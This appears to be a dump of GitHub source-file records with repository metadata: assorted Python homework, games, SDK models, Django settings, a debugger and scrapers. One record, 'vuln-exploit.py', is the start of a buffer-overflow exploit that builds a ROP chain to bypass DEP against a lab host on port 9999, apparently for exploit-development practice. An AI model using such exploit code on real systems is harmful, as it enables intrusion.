null
2020-07-31T16:27:28
2020-07-31T16:27:27
null
UTF-8
Python
false
false
4,445
py
# ---------------------------------------------------------------------------------- # MIT License # # Copyright(c) Microsoft Corporation. All rights reserved. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal...
[ "noreply@github.com" ]
nayanamangalpalli.noreply@github.com
047a539cb30cb12b1dd729b88e0e248745f3292f
1956741bdd19b119e70429ad4f02343949b20423
/week2-python/assignment2/assignment2-ruoxi.py
207bc23614e493a412d75dfb81ec9b907906b800
[ "Apache-2.0" ]
permissive
wsy-239/2021-march-bootcamp
9f59975d925bb6e75b6085398d6305b86cfc3f37
5b01333897ef78432b08c677fd14e9aad90d469f
refs/heads/main
2023-04-28T04:49:34.801681
2021-05-19T14:54:24
2021-05-19T14:54:24
352,113,345
1
0
Apache-2.0
2021-05-19T14:54:25
2021-03-27T15:53:52
Jupyter Notebook
UTF-8
Python
false
false
3,687
py
# Instruction: make sure your code pass the assertion statements # Q1. Given a positive integer N. The task is to write a Python program to check if the number is prime or not. def is_prime(n: int) -> bool: return n >= 1 and (0 not in (n%i for i in range(2,n))) # DO NOT ALTER BELOW. assert is_prime(2) ass...
[ "noreply@github.com" ]
wsy-239.noreply@github.com
24fee577c01fbd41cd14296cf06baa7ff9dd8694
76e62ddbfdfba19c80b37e855a4df67672ef0808
/IVTa/2014/ALEKSEEV_I_S/task_12_50.py
ab19443ceba4961fb2b12b4689e1e91a89688863
[ "Apache-2.0" ]
permissive
stasvorosh/pythonintask
9d30f3cd492e89783b7221402375c1ebe4690baa
8169ed26510022fe0d589f4013f11749131957df
refs/heads/master
2021-01-17T16:49:32.778063
2016-10-10T14:08:04
2016-10-10T14:08:04
52,255,539
6
0
null
2016-02-22T07:33:16
2016-02-22T07:33:15
null
UTF-8
Python
false
false
1,942
py
# Задача 12. Вариант 50 # Разработайте игру "Крестики-нолики". #(см. М.Доусон Программируем на Python гл. 6). # Alekseev I.S. # 20.05.2016 board = list(range(1,10)) def draw_board(board): print("-------------") for i in range(3): print( "|", board[0+i*3], "|", board[1+i*3], "|", board[2+i*3], "|") ...
[ "stasyan.v@gmail.com" ]
stasyan.v@gmail.com
b03dadea968c5d8b544b6c7da72b44bbe784ce4e
8af9e6895082417f532fb1001725c9ed1340a8fd
/pydob/setup.py
67dad35731722d54aaf4a47172dbe2d5e4f0859d
[ "MIT" ]
permissive
lermana/nyc_dob_analysis
9b9ffe2a24f3e9c2c9f2103d7de589d4fd91bdfd
29e9c73a8cbb6f2ae32c69ff3339d49b9a02cb75
refs/heads/master
2020-12-15T17:40:47.020396
2020-03-05T05:54:34
2020-03-05T05:54:34
235,198,556
2
0
null
null
null
null
UTF-8
Python
false
false
526
py
from setuptools import setup, find_packages setup( name="pydob", version="1.0", description="Tools for working with certain NYC DoB datasets.", author="NewTrails Data Science, LLC", url="https://github.com/lermana/nyc_dob_analysis", packages=find_packages(), install_requires=["numpy", ...
[ "abe893@gmail.com" ]
abe893@gmail.com
143a2b435ce857dbd0475e94aef1e9bf00d0afb5
19236d9e966cf5bafbe5479d613a175211e1dd37
/cohesity_management_sdk/models/role_update.py
733ad80c72ec30c51a96e5f47fa441e5e2415f91
[ "MIT" ]
permissive
hemanshu-cohesity/management-sdk-python
236c44fbd9604809027f8ddd0ae6c36e4e727615
07c5adee58810979780679065250d82b4b2cdaab
refs/heads/master
2020-04-29T23:22:08.909550
2019-04-10T02:42:16
2019-04-10T02:42:16
176,474,523
0
0
NOASSERTION
2019-03-19T09:27:14
2019-03-19T09:27:12
null
UTF-8
Python
false
false
1,628
py
# -*- coding: utf-8 -*- # Copyright 2019 Cohesity Inc. class RoleUpdate(object): """Implementation of the 'Role Update.' model. Specifies parameters required to update a role. Attributes: description (string): Specifies a description about the role. privileges (list of string): Array of...
[ "ashish@cohesity.com" ]
ashish@cohesity.com
a89d56757bfd42087fda815af34b4f33a00edbf7
d776cb04cf0b48db7415dfc70937d2a454c541e8
/wifi_qr_maker.py
08a9ca3c4b5c5088ecd9fb123758db2298f8a328
[]
no_license
ahn1305/wifi-qrcode-generator
730059c241af6fceba8b0c84fa1d96b80f15b708
a61337f442776e827e1f464563bce2320c8bb46a
refs/heads/main
2023-02-03T15:57:33.909138
2020-12-20T16:27:03
2020-12-20T16:27:03
323,114,520
0
0
null
null
null
null
UTF-8
Python
false
false
3,083
py
""" share on twitter share on facebook share on Linkedin share on Reddit share on Hacker Share Creating 3D Printed WiFi Access QR Codes with Python Eric J. Ma Eric J. Ma September 1, 2018 Summary Over the weekend, I embarked on a project to create a 3D printed QR code that guests at our house could scan to gain acces...
[ "ahnashwin1305@gmail.com" ]
ahnashwin1305@gmail.com
c5b703da29f1a28ac967c47f9ac8161c13a53d78
f47ae86cc80c935cc01f97a78434cfbaf343e8f4
/PillarsCGSystem/settings.py
547674c0af201f423497a2d9727c22635a1048d2
[]
no_license
yupengfei/CGSystem
4c72aee266223f95ce730918cc6aa2058acd23e8
1f7cf2f8409d07360c61afd06ceb527cbc0287c5
refs/heads/master
2021-01-21T02:35:59.349663
2014-11-21T03:32:02
2014-11-21T03:32:02
26,939,991
0
0
null
null
null
null
UTF-8
Python
false
false
6,886
py
# -*- coding: utf-8 -*- # Django settings for PillarsCGSystem project. import os DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('Your Name', 'your_email@example.com'), ) MANAGERS = ADMINS DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', # Add 'postgresql_psycopg2', 'mysql', 'sqli...
[ "akoon@126.com" ]
akoon@126.com
e8ef277c93903a4e6e8e9b7de0f263e6cbf42c1b
a816b066301dcfc75d22dbea4822bc5b0833bcfd
/src/hokkaidopatrol/inputs/randominput.py
63a9959c02235f575ba192227a9dc2dd961a10c7
[]
no_license
taraba-crab/HokkaidoPatrol
782b51ba1d9ca08cec08fafd9f7ad0aaec294b8e
47b6313601638a572a40850a47301df2f2529f61
refs/heads/master
2022-04-19T00:21:59.279317
2020-04-14T05:49:55
2020-04-14T05:49:55
255,501,427
0
0
null
null
null
null
UTF-8
Python
false
false
241
py
from random import sample from .. import cities from .distances import to_distance_dict def random_select(k): sample_cities = sample(cities.keys(), k) return [cities[city] for city in sample_cities], to_distance_dict(sample_cities)
[ "creative.poppo@gmail.com" ]
creative.poppo@gmail.com
548be3ff17a47e2626a60b44460942255ce8b657
acfd94b8638a792234fe2f222cb42d60715f95d3
/setup.py
6429a464291793f185a51f216b5d0ab1ce54de18
[ "MIT" ]
permissive
davidwtbuxton/wsigauth
81483b03b00c4c7c0d2daae46ece4625a9c58ee4
8a2ee625f1edf37d9b3bdf9ddf844ddaadf37436
refs/heads/master
2021-01-09T20:47:37.621164
2016-05-25T09:26:14
2016-05-25T09:26:14
63,898,695
0
1
null
null
null
null
UTF-8
Python
false
false
241
py
from distutils.core import setup setup( name='wsgiauth', version='0.1', description='Basic authentication for WSGI applications', author='David Buxton', author_email='david@gasmark6.com', py_modules=['wsgiauth'], )
[ "david@gasmark6.com" ]
david@gasmark6.com
c5cdc05662517cb67c96e2d100a03b57623b7e4d
3767cbf415bcd2abfa8fe042e80c1257f574f7b7
/venv/Lib/site-packages/yahooquery/login.py
e2c4b86e37e435d5c7612ad81a1b33758f189241
[]
no_license
MarvinBerroth/BrechungWebseite
917cd0b5d8063d370ba76c848d3ade54a3ae8657
acf66805854faf647d36b19cf1ec7a6e9e15ed0c
refs/heads/master
2022-11-20T14:42:37.342356
2020-07-26T08:42:13
2020-07-26T08:42:13
282,609,992
0
0
null
null
null
null
UTF-8
Python
false
false
2,831
py
import random import re from selenium import webdriver from selenium.common.exceptions import NoSuchElementException, TimeoutException from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait from yahooquery.ut...
[ "opligator@gmx.de" ]
opligator@gmx.de
5e81324bbf3aa535eef3a82b8820ad181c6fc1a0
a3a3a6c0e953f221eafcc014d32937b300b8f5c1
/obsolete/ops/sal_rank_loss.py
15099c9895f7e62c92ccfe806a9586fb853c4cdd
[ "Apache-2.0" ]
permissive
mengyuest/temporal-shift-module
49a912f07e02242622bb18cad2d23b8d8fa910e0
944a085217cab7f47ad7efd812ce45972d70d437
refs/heads/master
2023-01-12T06:13:17.954431
2020-11-13T06:52:42
2020-11-13T06:52:42
312,496,540
1
0
null
null
null
null
UTF-8
Python
false
false
1,601
py
import torch import torch.nn.functional as F def cal_sal_rank_loss(real_pred, lite_pred, target, margin=0): B, T, K = real_pred.shape # TODO(shape) B * T b_idx = [[x]*T for x in range(B)] t_idx = [list(range(T)) for _ in range(B)] k_idx = [[tgt]*T for tgt in target[:,0].cpu().numpy()] # TODO(s...
[ "mengyue@ibm.com" ]
mengyue@ibm.com
ef1231c5dd51fd43a7111233f862782af4334ba3
fba2dda59865ad005e9cb0c12a9dac7cc5870f9c
/1101901079/list/Elist11.py
3683d3a8f0035d4f3a38c810ee745cb277ad6f69
[]
no_license
YSreylin/HTML
65f2747226adb9d113fa06be8df06a79989fe719
44e02704852b05f460f3e0d96ea99a6d9922d861
refs/heads/master
2022-04-17T10:16:56.508411
2020-04-17T10:09:42
2020-04-17T10:09:42
236,651,880
0
0
null
null
null
null
UTF-8
Python
false
false
98
py
#write a Python function to take two lists and return true if they have at least one common member
[ "y.sreylin19@kit.edu.kh" ]
y.sreylin19@kit.edu.kh
68834acc0d76d008f21b36c7363aa50640cb405d
9934d96ad20f1d001aa8c8c44db104defad0d000
/backend/authentication/serializers.py
f8a02d4a8666bcbc0df27745e5462d7a05b0a691
[ "MIT" ]
permissive
Gimb0/financeManager
4193117f68b2d442bff75e85195c237d1b4fddaa
b054567ccbcc66535b30b92af1bf11e270968779
refs/heads/master
2023-01-25T05:17:12.752556
2020-12-10T00:10:22
2020-12-10T00:10:22
288,610,904
0
0
MIT
2020-12-10T00:10:23
2020-08-19T02:14:35
Python
UTF-8
Python
false
false
999
py
from rest_framework_simplejwt.serializers import TokenObtainPairSerializer from rest_framework import serializers from .models import CustomUser class CustomUserSerializer(serializers.ModelSerializer): # email = serializers.EmailField(required=True) username = serializers.CharField() password = serial...
[ "bradgimbo@gmail.com" ]
bradgimbo@gmail.com
87fc1a6bffaec4d1d04ac8803866da6cab1a81b8
6d5c915bc05f163e54704ce4e14988d2fcabc269
/mysite/settings.py
c80f385795880a8545bb9e8eb6285a4f13b6819f
[]
no_license
zhihua0322/mysite
683583c50279b1421c055458675a756a797854ad
9d69f9d3b33abe46431ef5076ecaf91dbc6d9ed6
refs/heads/master
2021-09-24T11:21:05.047575
2020-05-03T15:39:07
2020-05-03T15:39:07
254,269,054
0
1
null
2021-09-22T18:56:00
2020-04-09T04:14:28
HTML
UTF-8
Python
false
false
3,594
py
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 3.0.5. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os #...
[ "sunzhihua980322@gmail.com" ]
sunzhihua980322@gmail.com
5a39161daf1b0158febc6f1084a130433c1c9944
bffd457e17dc250c81d7bd9e25c20a483f1a1ed5
/pandatools/demo_hw.py
609861d6783d01829e0f12b67428d2acf0459b39
[]
no_license
Harzva/gigavision
3121f183b8cfc66f9c89f4afe1bd0bdf1c1fe104
1fb1ad9b9d5aac6c18dc83184a52c484964be7fb
refs/heads/master
2023-02-20T10:34:21.735085
2021-01-24T10:07:30
2021-01-24T10:07:30
332,416,570
2
2
null
null
null
null
UTF-8
Python
false
false
5,892
py
import json import cv2 import numpy as np import os # basepath="/root/data/gvision/dataset/train_all_annos/s0.3_t0.7_all" # load_path="/root/data/gvision/dataset/output/my_pv_train/my_inference/coco_pv_inference_results.json" # load_path_coco="/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox...
[ "562282219@qq.com" ]
562282219@qq.com
067df7c3424c6de496b3b4a9ccef420373bf650c
c34929e82cdffba827d7a37b7d02a9507b2180c5
/plugins/winpdb/winpdb.py
bb11475767b843cc1b165e5007c042daea9dd9fe
[]
no_license
fenderrex/SPE
1461c3c31f04d50848b497e3a786236a796c65bb
fef8a7c99c3d7913dd77b304c6650b2d7bb3000d
refs/heads/master
2021-01-14T10:30:28.419965
2016-07-30T21:36:32
2016-07-30T21:36:32
64,363,160
0
0
null
2016-07-30T21:16:02
2016-07-28T04:02:22
Python
UTF-8
Python
false
false
169,836
py
#! /usr/bin/env python """ winpdb.py A GUI for rpdb2.py Copyright (C) 2005-2008 Nir Aides This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License,...
[ "stani@be77ae6e-66fb-0310-8b80-9b5aebdb08cc" ]
stani@be77ae6e-66fb-0310-8b80-9b5aebdb08cc
1c6ec5e12756ecc29077f3f01b983030eff99532
6dc0b1cc7d71282d40442fcdbc2da3ddd1a2741c
/euler12.py
ef774b66c3cd21a3a0a923d0a642b18a0d83b013
[]
no_license
geomaar/euler
3e90266d61caf7186d5712a34b56393835e5014c
b5cb179bf364377d73eedc1f2faa7e9656ec1a32
refs/heads/master
2021-07-16T11:34:52.701815
2020-05-08T07:02:02
2020-05-08T07:02:02
140,162,583
0
0
null
null
null
null
UTF-8
Python
false
false
1,094
py
""" The sequence of triangle numbers is generated by adding the natural numbers. So the 7th triangle number would be 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28. The first ten terms would be: 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ... Let us list the factors of the first seven triangle numbers: 1: 1 3: 1,3 6: 1,2,3,6 10: 1,2,5...
[ "geomar1604@gmail.com" ]
geomar1604@gmail.com
174620d89f1a71c884b6493bf45e0cc482ab1bd6
e2e02fd7d726ff8007ec3873b56693adac75ae21
/config_files/fabmd_easyvvuq_test1_old/parseLammpsLog.py
7ac82be2256725c10c7cad6f929cb8839e0c64ec
[]
no_license
UCL-CCS/FabMD
bf038becaa904c47291214246ddcad47ae278951
b790ea8931e1735356978ec8997ce43a0d427c95
refs/heads/master
2023-04-07T00:50:20.002152
2023-03-20T14:47:35
2023-03-20T14:47:35
134,573,271
1
2
null
2022-01-11T16:11:21
2018-05-23T13:24:56
Python
UTF-8
Python
false
false
427
py
import re import csv with open('log.lammps', 'r') as f: pattern = 'Step.*?\n(.*?)Loop' string = f.read() extracted_data = [] for total_data in re.findall(pattern, string, flags=re.DOTALL): for line in total_data.splitlines(): extracted_data.append(line.split()) with...
[ "30697731+kbronik2017@users.noreply.github.com" ]
30697731+kbronik2017@users.noreply.github.com
ff7d9ed4af3973d932a2b3be2ac772b87842f9d0
77030ea51b143a4281cbe4b8b8de4d6214532c7e
/main.py
f4bfdda83d603457196f408654bcc49072a82935
[]
no_license
piotrbla/pyBoardGames
94ba96a9690e7daf57732a73f736449abb8680af
2c5a8cff1d4fa6db48417b2ce90333c5453834dc
refs/heads/master
2021-01-10T05:34:34.474301
2016-03-11T17:39:56
2016-03-11T17:39:56
52,916,790
0
0
null
null
null
null
UTF-8
Python
false
false
4,621
py
import pygame, sys from pygame.locals import * STICK_WIDTH = 50 BALL_WIDTH = 25 BALL_SLOWNESS = 6 SCREEN_Y_MARGIN = 60 SCREEN_WIDTH = 800 SCREEN_HEIGHT = 600 class MovingObject(object): def __init__(self, surface, x, y, image): self.x = x self.y = y self.surface = surface self.im...
[ "piotrb@gmail.com" ]
piotrb@gmail.com
8fb8f659097c196eee6a7561dcac8717fe9cdaf9
56439ca26f3dbee25d8f6235a42f468ebd99171e
/app/forms/auth.py
abc3c4713ae015d881312ab52f4110d09868692a
[]
no_license
neoxie86/MyFisher
5dc99e4b78042e2f5ff96a28d67c1ae83fe074f5
0c8149c7fc463fef8429b8e45bbf100d6ea9a6c6
refs/heads/master
2020-04-09T16:20:07.084516
2018-12-05T03:01:51
2018-12-05T03:01:51
160,450,834
1
0
null
null
null
null
UTF-8
Python
false
false
1,935
py
# -*- coding:utf-8 -*- __author__ = 'neo' __time__ = '2018/10/17 17:31' from wtforms import Form, StringField, IntegerField, PasswordField from wtforms.validators import EqualTo, Length, NumberRange, DataRequired, Email, \ ValidationError from app.models.user import User class RegisterForm(Form): email = Strin...
[ "254903295@qq.com" ]
254903295@qq.com
60649a047ebbee6783e9aa2a8353da3376dbccc4
2a9a136296e3d2abebf3a3dbfbbb091076e9f15f
/env/Lib/site-packages/setuptools/command/easy_install.py
2e057cdb672aaa58dae66b6d09db608cc3d99746
[]
no_license
Lisukod/planet-tracker
a865e3920b858000f5d3de3b11f49c3d158e0e97
6714e6332b1dbccf7a3d44430620f308c9560eaa
refs/heads/master
2023-02-18T19:26:16.705182
2021-01-23T01:51:58
2021-01-23T01:51:58
328,032,670
0
0
null
null
null
null
UTF-8
Python
false
false
88,408
py
#!/usr/bin/env python """ Easy Install ------------ A tool for doing automatic download/extract/build of distutils-based Python packages. For detailed documentation, see the accompanying EasyInstall.txt file, or visit the `EasyInstall home page`__. __ https://setuptools.readthedocs.io/en/latest/easy_install.html ""...
[ "45397160+Lisukod@users.noreply.github.com" ]
45397160+Lisukod@users.noreply.github.com
12d5f4f4f5388db362039d8b69d87d58c01b491d
e1c2a28c6af9e97d65d4bc735ab810e19fd848d6
/nsApp/order/migrations/0001_initial.py
16db1297c28c16e5d9f9fae9be5b1c8bdfdb2558
[]
no_license
pablo8/udemyCertification
c24208109481bde0e361dbad14369d60f59c6b95
70c35aa8baab6f442c8247d0cf13764af1514634
refs/heads/master
2023-03-21T17:43:09.316789
2021-03-09T20:51:31
2021-03-09T20:51:31
342,734,108
0
0
null
null
null
null
UTF-8
Python
false
false
574
py
# Generated by Django 3.0.4 on 2021-03-09 20:13 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Order', fields=[ ('id', models.AutoField(au...
[ "pablom.ochoteco@gmail.com" ]
pablom.ochoteco@gmail.com
e9ba92129872e0d13f11431b27dc4add97235c07
780248577cce89580816cb57101c86ea2e6fb897
/venv/Lib/site-packages/analytics/test/client.py
ca307617ebe6c5165262ed3a09b1e91470229299
[]
no_license
Griffin-MX/Gradio-Project-demo
eb2d3e43875968080cd8647cfe791bac03a2e74a
ac9da4efbe96d896cde640d18594fcb627a90acf
refs/heads/master
2023-06-04T17:04:03.100282
2021-06-24T07:08:08
2021-06-24T07:08:08
379,833,683
0
0
null
null
null
null
UTF-8
Python
false
false
13,138
py
from datetime import date, datetime import unittest import time import six import mock from analytics.version import VERSION from analytics.client import Client class TestClient(unittest.TestCase): def fail(self, e, batch): """Mark the failure handler""" self.failed = True def setUp(self): ...
[ "1123306966@qq.com" ]
1123306966@qq.com
b02c460e1b65ec1f6449fb8e36f7673d4afd372f
0ae17b7bf245652588e9b59a2c526f27c0511418
/process_poi_data.py
c3bee421d31a6ba89953b51d348eb85b22681b5d
[]
no_license
pdeepthi97/Crime-and-Parking-Violation-Prediction-in-DC-City
1c89572d8c988ebf8fca581f29763f851e253f06
80974444d61763ec182e135b3bc6a3ff5cb59ad2
refs/heads/master
2020-07-25T00:33:57.009399
2019-09-12T17:00:16
2019-09-12T17:00:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
990
py
import pickle import numpy as np n_rows = 5 n_cols = 5 crime_data = pickle.load(open('../../data/crime.pkl','rb')) lats = [i[-2] for i in crime_data] longs = [i[-1] for i in crime_data] min_lat, max_lat = min(lats), max(lats) min_long, max_long = min(longs), max(longs) lat_spacing = (max_lat-min_lat)/n_rows ...
[ "noreply@github.com" ]
pdeepthi97.noreply@github.com
cc3e3cf382f0a574ed0e8824169452e98c040833
994db80a654a51aad0b81c73edde2a382105c355
/Codesforces_GoodString.py
ef67510729b6b39adb6afa793316e0887b7d624f
[]
no_license
mxzgit/chalenges-code
c21a6580e2214988137de8c2e3a24aaf5ad5fd22
a0e7ccd35d5de0130811b7d2d53c5a9d242c2e9c
refs/heads/master
2022-12-22T21:05:25.132037
2020-09-29T10:13:30
2020-09-29T10:13:30
175,007,217
0
0
null
null
null
null
UTF-8
Python
false
false
854
py
def isGoodString(input): if len(input) == 2 : return True elif (input[1:]+input[0]) == (input[-1]+input[0:-1]): return True else: return False def main(): n = int(input()) for _ in range(n): dict_visited = {} input_char = input() dict_vi...
[ "mehdi.zarria@dcube.fr" ]
mehdi.zarria@dcube.fr
64c70dd86f77fb4552b6dc029abf9caa63347cf4
ab309995687533cb8aa7cb8c28a875376adf5535
/venv/bin/wheel
81a1ad247014c966dd4dfecd89358fe100e94587
[]
no_license
ImcloudBigData/Cloudera_impala_sentry_ha
50a26384b946e88f5e6a6095ce8a8e7af28bb000
08c651eee6ae8ad83850039388e2a447667028a4
refs/heads/master
2020-05-20T19:46:04.528702
2017-03-20T08:26:46
2017-03-20T08:26:46
84,514,661
1
1
null
null
null
null
UTF-8
Python
false
false
246
#!/home/hadoop/Download/python_test/venv/bin/python # -*- coding: utf-8 -*- import re import sys from wheel.tool import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "paranmul@gmail.com" ]
paranmul@gmail.com
5b16838f7738066acc758925a08dd0269a8023de
327cff45b693219e8c22de7ee2f9dbcf63864886
/tor/wsgi.py
9084ea15e5b150c0c8edd462f69d88d8bd1de4dd
[]
no_license
y3401/InfoTor-Django
0fc4c9073f5f6b846ae6509fbc8947e984a52213
30ecde775da1981f593d667b738d84a8654edc90
refs/heads/master
2021-01-19T08:43:39.256882
2017-04-08T22:14:21
2017-04-08T22:14:21
87,666,372
0
0
null
null
null
null
UTF-8
Python
false
false
399
py
""" WSGI config for tor project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJA...
[ "noreply@github.com" ]
y3401.noreply@github.com
7414a3344bd9844815f43d989415859019d11893
ac9dfc9a0f4da6f8dbd83da5f54c82a70b7ea889
/beerRating/mysite/mysite/urls.py
11726416a3f6c0d23482c4a4dd7e968c99812207
[]
no_license
uditabose/BeerReco
ec2d33e1ad6760f3702f33d9d4e821e4dd85d1f9
c7842ca37c9ecb043f925e1f6422f190965211b2
refs/heads/master
2021-01-22T14:39:36.517590
2014-12-17T22:46:50
2014-12-17T22:46:50
25,410,739
0
0
null
null
null
null
UTF-8
Python
false
false
522
py
from django.conf.urls import patterns, include, url from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Examples: url(r'^$', 'beerratings.views.home', name='home'), #fav_beer url(r'^fav_beer', 'beerratings.views.fav_beer', name='fav_beer'), #beer_name url(r'^b...
[ "ng1181@nyu.edu" ]
ng1181@nyu.edu
7b0bcadabf32679b8aca305aad0f143c7aeebb20
20e20d04d94f6e7c585d0a8a4db4e348248ffa3a
/models/sphericalunet/python_scripts_for_filters_orders/matlab_equivalent_functions.py
79b973b7b7d62b652a0b136e7fc99c4a8155d949
[]
no_license
Abdulah-Fawaz/Benchmarking
f49f5f6c6c7f90728f6033d2c6cbddae5873a77d
660e6a149e63ad1935f59f4086179033545b6cfc
refs/heads/main
2023-06-10T23:53:44.203443
2021-06-28T10:03:07
2021-06-28T10:03:07
325,784,384
0
0
null
null
null
null
UTF-8
Python
false
false
8,253
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Jan 20 12:23:37 2020 @author: fa19 """ import numpy as np import scipy.io as sio def ismember(a_vec, b_vec): """ MATLAB equivalent ismember function """ bool_ind = np.isin(a_vec,b_vec) common = a[bool_ind] common_unique, common_inv = n...
[ "abdulah.fawaz@kcl.ac.uk" ]
abdulah.fawaz@kcl.ac.uk
2c66b48835b0ad1374e56f7490c406b99c1c3f4e
83534233897a52087f3758706a63f0c1cf46e79e
/strings/165_CompareVersions.py
34460b8a3003fcac1fb9c22b15bb2a7b27f50e94
[]
no_license
Jayesh97/programmming
2a2bf1af5689e421774a40b0f1db5f123722f603
2b68a9a863207061d44dc50e0fd533e28eb2e010
refs/heads/master
2020-04-29T15:10:12.371878
2020-01-15T22:32:30
2020-01-15T22:32:30
176,219,531
0
0
null
null
null
null
UTF-8
Python
false
false
358
py
version1 = "01" version2 = "1" def version(version1,version2): v1,v2 = (map(int,v.split('.')) for v in (version1,version2)) v1 ,v2= [i for i in v1],[j for j in v2] #print(v1,v2) d = len(v2)-len(v1) if v1+[0]*d>v2+[0]*-d: return 1 elif v1+[0]*d==v2+[0]*-d: return 0 return -1 ...
[ "jayesh5397@gmail.com" ]
jayesh5397@gmail.com
9de330f17b13e8904e931fa6a372dc2505a2b66c
1e08f6b6c54c0b9c3196e69c2b4e3ea0c2181425
/ROP_DEP/vuln-exploit.py
60d7a50006068d7d7dbf63abf03a48837b20c6cb
[]
no_license
fahrishb/Exploits
623e08e5b5daf1cdad1b72daa43f7b71ecc79624
d2b496a6393d193bedd5a468af2a1869a8a8546b
refs/heads/master
2022-12-29T11:10:13.107889
2020-09-26T13:52:01
2020-09-26T13:52:01
294,908,175
0
1
null
null
null
null
UTF-8
Python
false
false
3,751
py
#!/usr/bin/python import socket,sys,struct host="172.16.208.155" port=9999 def create_rop_chain(): rop_gadgets = [ 0x62501022, # RETN # ROP Gadget for ECX 0x77eb78a1, # PUSH ESP | POP EBP| RETN0x4 0x7c80aee4, # XCHG EAX,EBP 0xDEADBEEF, # dummy 0x77c14001, # XCHG EAX,ECX # RETN # ROP Gadget for EDX 0x77c58f...
[ "fahri.s@go-jek.com" ]
fahri.s@go-jek.com
efb33ff5118ea59e8f03ce2f6a514284d93c1c1f
7d9728510c516b5cea863e931ccc5360b8200611
/APCS_20201107_HW2.py
960a200f84ad90b03f1f7abff8b63971422d4c94
[]
no_license
CHENG-KH/Python
3a01b49e39877c95611aa7a5d8486a1a215a2acf
0a6c40763497eea09ca9a1c65cf6c24f4b18fc6b
refs/heads/master
2023-03-11T14:32:02.804488
2021-03-04T13:03:14
2021-03-04T13:03:14
291,944,180
0
0
null
2021-01-30T12:36:19
2020-09-01T08:41:38
Python
UTF-8
Python
false
false
814
py
a = [int(num) for num in input("請輸入你的三個幸運數字").split()] b = [int(num) for num in input("請輸入你的五個號碼區號碼").split()] c = [int(num) for num in input("請輸入你的五個號碼相對應的金額你的五個號碼相對應的金額").split()] # correct_num = list() bonus = () # for a in x: if a[0] and a[1] and a[2] in b: # correct_num.append(a[0]) # correct_num.append(a[...
[ "noreply@github.com" ]
CHENG-KH.noreply@github.com
29b17d3599f29fa1f3078e6b2972c963b20cc0d2
8e8e54c75c2a47ba843c1a2a8f0a90bb339bf652
/multi_proc_single_gpu.py
47a7886b40a3cee18305267eea9a298aeaa4ce17
[]
no_license
flybirdtian/pytorch_distributed_mnist
35931c01b8dd678622ae824c59ff25644807e240
a9ac0e7054596dc3320c26ed71cdbc12b06fdbeb
refs/heads/master
2020-11-26T23:18:24.441652
2019-12-21T14:25:15
2019-12-21T14:25:15
229,228,210
0
0
null
null
null
null
UTF-8
Python
false
false
11,959
py
from __future__ import division, print_function import argparse import random import time import warnings import os import shutil import torch import torch.nn as nn import torch.backends.cudnn as cudnn import torch.distributed as dist import torch.nn.functional as F from torch.utils import data from torchvision impor...
[ "flybirdtian@gmail.com" ]
flybirdtian@gmail.com
d74a7b8a8e2ea23d2b2855097c8f985640ed438f
2fac796fa58c67fb5a4a95a6e7f28cbef169318b
/python/copy-books.py
2e512fdb8dea53102e37f2f032524d38ae208b24
[]
no_license
jwyx3/practices
f3fe087432e79c8e34f3af3a78dd10278b66dd38
6fec95b9b4d735727160905e754a698513bfb7d8
refs/heads/master
2021-03-12T20:41:59.816448
2019-04-14T06:47:30
2019-04-14T06:47:30
18,814,777
2
0
null
null
null
null
UTF-8
Python
false
false
2,261
py
class Solution: # @param pages: a list of integers # @param k: an integer # @return: an integer def copyBooks(self, pages, k): # can k persons copy books within x minutes def check(x): total, kt = 0, 0 for p in pages: # current person cannot copy a...
[ "jwyx88003@gmail.com" ]
jwyx88003@gmail.com
a401777b12b090747c8ee015caea1943c91be7f9
b2327e8dc8316999dddbc9c1b16e11b136dadcfa
/study/GUI/坦克大战/tank07.py
ad7f7d7ae9bb0e0bd9361a6f7cbb9c3d5d917e38
[]
no_license
Nidhogglin/Python
266fa7119e91a102d1bb42275141390f61f721a5
dacc6e9247da8f7e0f432f958a3e08596f931e1c
refs/heads/master
2023-03-13T00:10:50.496494
2021-03-05T12:55:01
2021-03-05T12:55:01
287,876,393
0
0
null
null
null
null
UTF-8
Python
false
false
11,124
py
# coding: utf-8 """ 坦克大战GUI 新增功能 新增子弹类 展示子弹 """ import pygame import time import random WIN_WIDTH = 1000 WIN_HEIGHT = 600 BG_COLOR = pygame.Color(0, 0, 0) TEXT_COLOR = pygame.Color(255, 0, 0) class MainGame(object): window = None myTank = None # 创建敌方坦克列表 enemyTankList = [] # 设置敌方坦克数...
[ "191490681@qq.com" ]
191490681@qq.com
ebfcf78ce6e6cb1501781e5c949522ed4a42e4c7
116353f7fbacc39d6081a419518b6ba491952a2b
/download_records.py
38f456d2f84b0e94510d6690ecc10ff21af48215
[]
no_license
JohnMulligan/Congressional-Record-Bot
e6bee0c3a0e924159d3f82a391e3489b3d6e3a51
0a04b63f1b22a7b9b46eb27f4600a91484507a7d
refs/heads/master
2021-01-10T20:11:16.220547
2015-07-27T01:54:57
2015-07-27T01:54:57
35,919,783
2
1
null
null
null
null
UTF-8
Python
false
false
3,769
py
import re,urllib,time from optparse import OptionParser, Option, OptionValueError import json import os parser = OptionParser() parser.add_option("-u", action="store", type="str", dest="url") parser.add_option("-s", action="store", type="str", dest="speakername") (options, args) = parser.parse_args() def get_page_it...
[ "john.connor.mulligan@gmail.com" ]
